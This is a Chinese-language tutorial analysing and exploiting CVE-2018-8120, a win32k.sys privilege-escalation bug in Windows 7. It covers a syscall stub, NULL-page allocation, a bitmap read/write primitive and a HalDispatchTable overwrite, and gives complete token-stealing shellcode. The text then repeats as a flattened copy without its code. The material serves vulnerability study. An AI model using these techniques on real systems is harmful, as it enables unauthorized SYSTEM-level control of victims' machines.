CVE-2018-8120分析与利用
字数 1630 2025-08-19 12:42:04

CVE-2018-8120 Windows提权漏洞分析与利用教程

1. 漏洞概述

CVE-2018-8120是Windows 7及Windows Server 2008系列中的一个经典本地提权漏洞,存在于SetImeInfoEx函数中。该漏洞允许攻击者通过精心构造的输入实现内核任意地址写入,最终可提升至SYSTEM权限。

2. 环境准备

  • 测试环境:Windows 7 x86虚拟机(VMware)
  • 调试工具:Windbg
  • 必要知识:Windows内核基础、Win32 API编程

3. 漏洞分析

3.1 漏洞位置

漏洞存在于win32k.sys驱动中的SetImeInfoEx函数:

void SetImeInfoEx(HWINSTA pWinStation, char* pInput)
{
    // 漏洞点:未验证pWinStation[5]是否合法就直接访问
    if (pWinStation[5]) {
        qmemcpy(pWinStation[5] + 0x2c, pInput + 0x14, 0x54);
    }
}

3.2 调用链分析

  1. 系统调用NtUserSetImeInfoEx调用SetImeInfoEx
  2. SetImeInfoEx的第一个参数来自GetProcessWindowsStation
  3. pWinStation是Window Station的Handle(内核对象引用)

3.3 关键结构

  • Window Station对象spklList成员默认为NULL(偏移0x14)
  • pWinStation[5]为NULL时,直接访问会导致内核空指针解引用

4. 漏洞利用开发

4.1 基础POC构造

由于NtUserSetImeInfoEx未公开导出,需要手动实现系统调用:

// Windows 7 x86系统调用号为0x1228
__declspec(naked) NTSTATUS __stdcall NtUserSetImeInfoEx(PVOID pInput)
{
    __asm {
        mov eax, 0x1228
        lea edx, [esp+4]
        int 0x2e
        ret 4
    }
}

4.2 NULL地址分配技巧

利用NtAllocateVirtualMemory分配包含NULL的地址空间:

PVOID BaseAddress = (PVOID)0x1;
SIZE_T RegionSize = 0x1000;
NtAllocateVirtualMemory(
    GetCurrentProcess(),
    &BaseAddress,
    0,
    &RegionSize,
    MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
    PAGE_EXECUTE_READWRITE
);

4.3 任意地址写构造

通过控制输入数据,实现任意地址写入:

  1. 在NULL+0x14处构造目标地址
  2. 在NULL+0x2c处构造写入数据
  3. 触发qmemcpy实现写入

限制:目标地址+0x18必须为0

5. 提权技术实现

5.1 Token替换原理

Windows进程权限由_EPROCESS结构中的Token控制:

  • Token偏移:0xF8(Win7 x86)
  • 替换当前进程Token为SYSTEM进程Token即可提权

5.2 Bitmap技术利用

由于直接获取SYSTEM Token困难,使用Bitmap技术实现任意地址读:

  1. Bitmap结构关键成员

    • pvScan0:指向像素数据的指针(用户/内核共享)
    • 通过GDI共享句柄表可计算内核地址
  2. 利用步骤

    • 创建两个Bitmap(Manager/Worker)
    • 获取它们的pvScan0内核地址
    • 利用漏洞修改Manager的pvScan0指向Worker的pvScan0
    • 通过SetBitmapBits修改Worker的pvScan0指向目标地址
    • 最终实现任意地址读写

5.3 代码执行路径

通过覆盖HalDispatchTable函数指针实现代码执行:

  1. 定位hal!HaliQuerySystemInformation(HalDispatchTable+0x4)
  2. 覆盖为Shellcode地址
  3. 触发NtQueryIntervalProfile执行Shellcode

6. 完整利用流程

  1. 分配NULL地址空间并布置数据
  2. 创建Manager/Worker Bitmap
  3. 计算Bitmap内核地址
  4. 利用漏洞实现任意地址写能力
  5. 修改HalDispatchTable函数指针
  6. 部署提权Shellcode
  7. 触发执行获取SYSTEM权限

7. 提权Shellcode示例

; Windows 7 x86提权Shellcode
pushad
mov eax, fs:[0x124]    ; 获取_KTHREAD
mov eax, [eax+0x150]   ; 获取_EPROCESS
mov ecx, eax

SearchSystemProcess:
mov eax, [eax+0xb8]    ; ActiveProcessLinks.Flink
sub eax, 0xb8
cmp [eax+0xb4], 0x4    ; UniqueProcessId是否为4(SYSTEM)
jnz SearchSystemProcess

mov edx, [eax+0xf8]    ; SYSTEM Token
mov [ecx+0xf8], edx    ; 替换当前进程Token
popad
ret

8. 防御与缓解

  1. 安装微软官方补丁
  2. 启用内核ASLR
  3. 限制用户模式到内核模式的调用
  4. 监控异常的内核内存访问

9. 参考资源

  • Windows内核结构文档
  • ReactOS源码参考
  • MSDN GDI/Window Station API文档
  • Windows系统调用表

通过本教程,您已全面了解CVE-2018-8120漏洞从分析到利用的全过程。实际利用时请注意测试环境稳定性,并确保符合法律法规要求。

CVE-2018-8120 Windows提权漏洞分析与利用教程 1. 漏洞概述 CVE-2018-8120是Windows 7及Windows Server 2008系列中的一个经典本地提权漏洞,存在于 SetImeInfoEx 函数中。该漏洞允许攻击者通过精心构造的输入实现内核任意地址写入,最终可提升至SYSTEM权限。 2. 环境准备 测试环境 :Windows 7 x86虚拟机(VMware) 调试工具 :Windbg 必要知识 :Windows内核基础、Win32 API编程 3. 漏洞分析 3.1 漏洞位置 漏洞存在于 win32k.sys 驱动中的 SetImeInfoEx 函数: 3.2 调用链分析 系统调用 NtUserSetImeInfoEx 调用 SetImeInfoEx SetImeInfoEx 的第一个参数来自 GetProcessWindowsStation pWinStation 是Window Station的Handle(内核对象引用) 3.3 关键结构 Window Station对象 : spklList 成员默认为NULL(偏移0x14) 当 pWinStation[5] 为NULL时,直接访问会导致内核空指针解引用 4. 漏洞利用开发 4.1 基础POC构造 由于 NtUserSetImeInfoEx 未公开导出,需要手动实现系统调用: 4.2 NULL地址分配技巧 利用 NtAllocateVirtualMemory 分配包含NULL的地址空间: 4.3 任意地址写构造 通过控制输入数据,实现任意地址写入: 在NULL+0x14处构造目标地址 在NULL+0x2c处构造写入数据 触发 qmemcpy 实现写入 限制 :目标地址+0x18必须为0 5. 提权技术实现 5.1 Token替换原理 Windows进程权限由 _EPROCESS 结构中的Token控制: Token偏移:0xF8(Win7 x86) 替换当前进程Token为SYSTEM进程Token即可提权 5.2 Bitmap技术利用 由于直接获取SYSTEM Token困难,使用Bitmap技术实现任意地址读: Bitmap结构关键成员 : pvScan0 :指向像素数据的指针(用户/内核共享) 通过GDI共享句柄表可计算内核地址 利用步骤 : 创建两个Bitmap(Manager/Worker) 获取它们的 pvScan0 内核地址 利用漏洞修改Manager的 pvScan0 指向Worker的 pvScan0 通过SetBitmapBits修改Worker的 pvScan0 指向目标地址 最终实现任意地址读写 5.3 代码执行路径 通过覆盖 HalDispatchTable 函数指针实现代码执行: 定位 hal!HaliQuerySystemInformation (HalDispatchTable+0x4) 覆盖为Shellcode地址 触发 NtQueryIntervalProfile 执行Shellcode 6. 完整利用流程 分配NULL地址空间并布置数据 创建Manager/Worker Bitmap 计算Bitmap内核地址 利用漏洞实现任意地址写能力 修改HalDispatchTable函数指针 部署提权Shellcode 触发执行获取SYSTEM权限 7. 提权Shellcode示例 8. 防御与缓解 安装微软官方补丁 启用内核ASLR 限制用户模式到内核模式的调用 监控异常的内核内存访问 9. 参考资源 Windows内核结构文档 ReactOS源码参考 MSDN GDI/Window Station API文档 Windows系统调用表 通过本教程,您已全面了解CVE-2018-8120漏洞从分析到利用的全过程。实际利用时请注意测试环境稳定性,并确保符合法律法规要求。